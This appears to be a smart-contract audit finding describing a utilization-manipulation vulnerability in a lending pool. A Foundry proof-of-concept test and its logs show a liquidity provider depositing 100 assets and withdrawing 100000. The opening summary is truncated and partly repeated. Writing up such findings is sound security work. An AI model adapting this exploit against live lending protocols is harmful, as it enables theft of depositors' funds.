MEDIUM severity: The vulnerability allows an attacker to manipulate the utilization of the protocol, which is calcula. The vulnerability allows an attacker to manipulate the utilization of the protocol, which is calculated as assets borrowed divided by assets loaned, to exceed 100%. This is achieved by depositing tokens into the lending pool and then borrowing a larger amount of assets, effectively creating a utiliz...

Vulnerable code:
```\nRunning 1 test for test/scenario/BorrowAndRepay.scenario.t.sol:BorrowAndRepay_Scenario_Test\n[PASS] testScenario_Poc() (gas: 799155)\nLogs:\n  100 initial pool balance. This is also the amount deposited into tranche\n  warp 2 minutes into future\n  mint was used rather than deposit to ensure no rounding error. This is a utilization manipulation attack, not a share inflation attack\n  22 shares were burned in exchange for 100000 assets. Users.LiquidityProvider only deposited 100 asset in the tranche but withdrew 100000 assets!\n```\n```\nfunction setUp() public virtual override(Fuzz_Lending_Test) {\n    Fuzz_Lending_Test.setUp();\n    deployArcadiaLendingWithAccounts();\n\n    vm.prank(users.creatorAddress);\n    pool.addTranche(address(tranche), 50);\n\n    // Deposit funds in the pool.\n    deal(address(mockERC20.stable1), users.liquidityProvider, type(uint128).max, true);\n\n    vm.startPrank(users.liquidityProvider);\n    mockERC20.stable1.approve(address(pool), 100);\n    tranche.mint(100, users.liquidityProvider);\n    vm.stopPrank();\n\n    vm.startPrank(users.creatorAddress);\n    pool.setAccountVersion(1, true);\n    pool.setInterestParameters(\n        Constants.interestRate,\n        Constants.interestRate,\n        Constants.interestRate,\n        Constants.utilisationThreshold\n    );\n    vm.stopPrank();\n\n    vm.prank(users.accountOwner);\n    proxyAccount.openMarginAccount(address(pool));\n}\n```\n```\nfunction testScenario_Poc() public {\n\n    uint poolBalance = mockERC20.stable1.balanceOf(address(pool));\n    console.log(poolBalance, "initial pool balance. This is also the amount deposited into tranche");\n\n    vm.startPrank(users.liquidityProvider);\n    mockERC20.stable1.approve(address(pool), 1e18);\n    mockERC20.stable1.transfer(address(pool), 1e18);\n    vm.stopPrank();\n\n    uint112 amountToken = 1e30;\n    uint128 amountCredit = 1e10;\n\n    uint16 collFactor_ = Constants.tokenToStableCollFactor;\n    uint256 valueOfOneToken = (Constants.WAD * rates.token1ToUsd) / 10 ** Constants.tokenOracleDecimals;\n\n    depositTokenInAccount(proxyAccount, mockERC20.token1, amountToken);\n\n    uint256 maxCredit = (\n        (valueOfOneToken * amountToken) / 10 ** Constants.tokenDecimals * collFactor_ / AssetValuationLib.ONE_4\n            / 10 ** (18 - Constants.stableDecimals)\n    );\n\n    vm.startPrank(users.accountOwner);\n    pool.borrow(amountCredit, address(proxyAccount), users.accountOwner, emptyBytes3);\n    vm.stopPrank();\n\n    assertEq(mockERC20.stable1.balanceOf(users.accountOwner), amountCredit);\n\n    vm.roll(block.number + 10);\n    vm.warp(block.timestamp + 120);\n\n    console.log("warp 2 minutes into future");\n\n    address victim = address(123);\n    deal(address(mockERC20.stable1), victim, type(uint128).max, true);\n\n    vm.startPrank(victim);\n    mockERC20.stable1.approve(address(pool), type(uint128).max);\n    uint shares = tranche.mint(1e3, victim);\n    vm.stopPrank();\n\n    console.log("mint was used rather than deposit to ensure no rounding error. This a UTILISATION manipulation attack not a share inflation attack");\n\n    vm.startPrank(users.liquidityProvider);\n    uint withdrawShares = tranche.withdraw(1e5, users.liquidityProvider, users.liquidityProvider);\n    vm.stopPrank();\n\n    console.log(withdrawShares, "shares were burned in exchange for 100000 assets. Users.LiquidityProvider only deposited 100 asset in the tranche but withdrew 100000 assets!");\n}\n```